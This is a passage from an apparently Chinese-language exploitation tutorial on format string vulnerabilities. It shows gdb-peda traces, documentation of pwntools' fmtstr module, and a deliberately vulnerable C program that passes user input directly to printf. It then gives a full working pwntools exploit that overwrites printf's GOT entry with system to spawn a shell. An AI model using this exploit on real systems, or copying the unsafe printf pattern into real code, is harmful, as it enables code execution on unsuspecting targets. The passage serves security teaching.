Breakpoint 1 at 0x8048350 gdb-peda$ r < text [----------------------------------registers-----------------------------------] EAX: 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp) EBX: 0x804a000 --> 0x8049f14 --> 0x1 ECX: 0x1 EDX: 0xf7f9883c --> 0x0 ESI: 0xf7f96e68 --> 0x1bad90 EDI: 0x0 EBP: 0xffffd618 --> 0x0 ESP: 0xffffd54c --> 0x8048520 (: add esp,0x20) EIP: 0xf7e27c20 (: call 0xf7f06d17 <__x86.get_pc_thunk.ax>) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xf7e27c1b : ret 0xf7e27c1c: xchg ax,ax 0xf7e27c1e: xchg ax,ax => 0xf7e27c20 : call 0xf7f06d17 <__x86.get_pc_thunk.ax> 0xf7e27c25 : add eax,0x16f243 0xf7e27c2a : sub esp,0xc 0xf7e27c2d : mov eax,DWORD PTR [eax+0x124] 0xf7e27c33 : lea edx,[esp+0x14] No argument [------------------------------------stack-------------------------------------] 0000| 0xffffd54c --> 0x8048520 (: add esp,0x20) 0004| 0xffffd550 --> 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp) 0008| 0xffffd554 --> 0x1 0012| 0xffffd558 --> 0x88888888 0016| 0xffffd55c --> 0xffffffff 0020| 0xffffd560 --> 0xffffd57a ("ABCD") 0024| 0xffffd564 --> 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push ebp) 0028| 0xffffd568 --> 0x80481fc --> 0x38 ('8') [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6 gdb-peda$ x/20w $esp 0xffffd54c: 0x08048520 0xffffd584 0x00000001 0x88888888 0xffffd55c: 0xffffffff 0xffffd57a 0xffffd584 0x080481fc 0xffffd56c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0 0xffffd57c: 0x00004443 0x00000000 0x0804a018 0x24333125 0xffffd58c: 0x00f00073 0xffffd5ca 0x00000001 0x000000c2 gdb-peda$ x/w 0x804a018 0x804a018: 0xf7e3a790 gdb-peda$ c Continuing. ▒���� ``` 虽然我们可以通过 `x/w` 指令得到 `__isoc99_scanf` 函数的虚拟地址 `0xf7e3a790`。但是由于 `0x804a018` 处的内容是仍然一个指针,使用 `%13$s` 打印并不成功。在下面的内容中将会介绍怎样借助 pwntools 的力量,来获得正确格式的虚拟地址,并能够对它有进一步的利用。 #### 覆盖栈内容 #### 覆盖任意地址内存 ## x86-64 中的格式化字符串漏洞 ## CTF 中的格式化字符串漏洞 #### pwntools pwnlib.fmtster 模块 文档地址:http://pwntools.readthedocs.io/en/stable/fmtstr.html 该模块提供了一些字符串漏洞利用的工具。该模块中定义了一个类 `FmtStr` 和一个函数 `fmtstr_payload`。 `FmtStr` 提供了自动化的字符串漏洞利用: ```python class pwnlib.fmtstr.FmtStr(execute_fmt, offset=None, padlen=0, numbwritten=0) ``` - execute_fmt (function):与漏洞进程进行交互的函数 - offset (int):你控制的第一个格式化程序的偏移量 - padlen (int):在 paylod 之前添加的 pad 的大小 - numbwritten (int):已经写入的字节数 `fmtstr_payload` 用于自动生成格式化字符串 paylod: ```python pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') ``` - offset (int):你控制的第一个格式化程序的偏移量 - writes (dict):格式为 {addr: value, addr2: value2},用于往 addr 里写入 value 的值(常用:{printf_got}) - numbwritten (int):已经由 printf 函数写入的字节数 - write_size (str):必须是 byte,short 或 int。告诉你是要逐 byte 写,逐 short 写还是逐 int 写(hhn,hn或n) 我们通过一个例子来熟悉下该模块的使用(任意地址内存读写):[fmt.c](../src/Others/3.3.1_fmt.c) [fmt](../src/Other/3.3.1_fmt) ```c #include void main() { char str[1024]; while(1) { memset(str, '\0', 1024); read(0, str, 1024); printf(str); fflush(stdout); } } ``` 为了简单一点,我们关闭 ASLR,并使用下面的命令编译,关闭 PIE,使得程序的 .text .bss 等段的内存地址固定: ``` # echo 0 > /proc/sys/kernel/randomize_va_space $ gcc -m32 -fno-stack-protector -no-pie fmt.c ``` 很明显,程序存在格式化字符串漏洞,我们的思路是将 `printf()` 函数的地址改成 `system()` 函数的地址,这样当我们再次输入 `/bin/sh` 时,就可以获得 shell 了。 第一步先计算偏移,虽然 pwntools 中可以很方便地构造出 exp,但这里,我们还是先演示手工方法怎么做,最后再用 pwntools 的方法。在 gdb 中,先在 `main` 处下断点,运行程序,这时 libc 已经被加载进来了。我们输入 "AAAA" 试一下: ```text gdb-peda$ b main ... gdb-peda$ r ... gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd1f0 ("AAAA\n") EBX: 0x804a000 --> 0x8049f10 --> 0x1 ECX: 0xffffd1f0 ("AAAA\n") EDX: 0x400 ESI: 0xf7f97000 --> 0x1bbd90 EDI: 0x0 EBP: 0xffffd5f8 --> 0x0 ESP: 0xffffd1e0 --> 0xffffd1f0 ("AAAA\n") EIP: 0x8048512 (: call 0x8048370 ) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048508 : sub esp,0xc 0x804850b : lea eax,[ebp-0x408] 0x8048511 : push eax => 0x8048512 : call 0x8048370 0x8048517 : add esp,0x10 0x804851a : mov eax,DWORD PTR [ebx-0x4] 0x8048520 : mov eax,DWORD PTR [eax] 0x8048522 : sub esp,0xc Guessed arguments: arg[0]: 0xffffd1f0 ("AAAA\n") [------------------------------------stack-------------------------------------] 0000| 0xffffd1e0 --> 0xffffd1f0 ("AAAA\n") 0004| 0xffffd1e4 --> 0xffffd1f0 ("AAAA\n") 0008| 0xffffd1e8 --> 0x400 0012| 0xffffd1ec --> 0x80484d0 (: add ebx,0x1b30) 0016| 0xffffd1f0 ("AAAA\n") 0020| 0xffffd1f4 --> 0xa ('\n') 0024| 0xffffd1f8 --> 0x0 0028| 0xffffd1fc --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x08048512 in main () ``` 我们看到输入 `printf()` 的变量 `arg[0]: 0xffffd1f0 ("AAAA\n")` 在栈的第 5 行,除去第一个格式化字符串,即偏移量为 4。 读取重定位表获得 `printf()` 的 GOT 地址(第一列 Offset): ```text $ readelf -r a.out Relocation section '.rel.dyn' at offset 0x2f4 contains 2 entries: Offset Info Type Sym.Value Sym. Name 08049ff8 00000406 R_386_GLOB_DAT 00000000 __gmon_start__ 08049ffc 00000706 R_386_GLOB_DAT 00000000 stdout@GLIBC_2.0 Relocation section '.rel.plt' at offset 0x304 contains 5 entries: Offset Info Type Sym.Value Sym. Name 0804a00c 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0 0804a010 00000207 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0 0804a014 00000307 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0 0804a018 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0 0804a01c 00000607 R_386_JUMP_SLOT 00000000 memset@GLIBC_2.0 ``` 在 gdb 中获得 `printf()` 的虚拟地址: ```text gdb-peda$ p printf $1 = {} 0xf7e26bf0 ``` 获得 `system()` 的虚拟地址: ```text gdb-peda$ p system $1 = {} 0xf7e17060 ``` 好了,演示完怎样用手工的方式得到构造 exp 需要的信息,下面我们给出使用 pwntools 构造的完整漏洞利用代码: ```python # -*- coding: utf-8 -*- from pwn import * elf = ELF('./a.out') r = process('./a.out') libc = ELF('/usr/lib32/libc.so.6') # 计算偏移量 def exec_fmt(payload): r.sendline(payload) info = r.recv() return info auto = FmtStr(exec_fmt) offset = auto.offset # 获得 printf 的 GOT 地址 printf_got = elf.got['printf'] log.success("printf_got => {}".format(hex(printf_got))) # 获得 printf 的虚拟地址 payload = p32(printf_got) + '%{}$s'.format(offset) r.send(payload) printf_addr = u32(r.recv()[4:8]) log.success("printf_addr => {}".format(hex(printf_addr))) # 获得 system 的虚拟地址 system_addr = printf_addr - (libc.symbols['printf'] - libc.symbols['system']) log.success("system_addr => {}".format(hex(system_addr))) payload = fmtstr_payload(offset, {printf_got : system_addr}) r.send(payload) r.send('/bin/sh') r.recv() r.interactive() ``` ```text $ python2 exp.py [*] '/home/firmy/Desktop/RE4B/a.out' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Starting local process './a.out': pid 17375 [*] '/usr/lib32/libc.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Found format string offset: 4 [+] printf_got => 0x804a010 [+] printf_addr => 0xf7e26bf0 [+] system_addr => 0xf7e17060 [*] Switching to interactive mode $ echo "hacked!" hacked! ``` 这样我们就获得了 shell,可以看到输出的信息和我们手工得到的信息完全相同。 # 扩展阅读 [Exploiting Sudo format string vunerability CVE-2012-0809](http://www.vnsecurity.net/research/2012/02/16/exploiting-sudo-format-string-vunerability.html)